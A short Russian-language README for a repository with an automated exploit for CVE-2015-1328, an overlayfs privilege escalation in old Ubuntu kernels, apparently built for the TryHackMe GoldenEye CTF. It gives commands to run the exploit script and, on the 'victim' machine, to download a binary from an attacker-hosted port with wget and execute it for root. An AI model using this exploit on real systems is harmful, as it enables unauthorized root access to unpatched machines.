CVE-2015-1328-GoldenEye

Об эксплойте:

Реализация overlayfs в пакете linux (также известном как ядро Linux) до версии 3.19.0-21.21 в Ubuntu до 15.04 не проверяет должным образом права на создание файлов в каталоге верхней файловой системы, что позволяет локальным пользователям получить root-доступ, используя конфигурацию, в которой overlayfs разрешен в произвольном пространстве монтирования.

Спасибо rebel

Конфигурация

Это автоматизированный эксплойт для CVE-2015-1328 для CTF GoldenEye с TryHackMe. По умолчанию gcc не доступен на той машине, поэтому я настроил gcc на cc и соответствующим образом запустил эксплойт для получения прав root.

Просто клонируйте репозиторий и запустите exploit.sh

На машине атакующего:

Установка

Просто клонируйте этот репозиторий -

$ git clone https://github.com/elit3pwner/CVE-2015-1328-GoldenEye.git
$ cd CVE-2015-1328-GoldenEye
$ chmod +x exploit.sh
$ bash exploit.sh

На машине жертвы :

$ wget http://<target ip>:6969/exploit

$ chmod +x exploit

$ ./exploit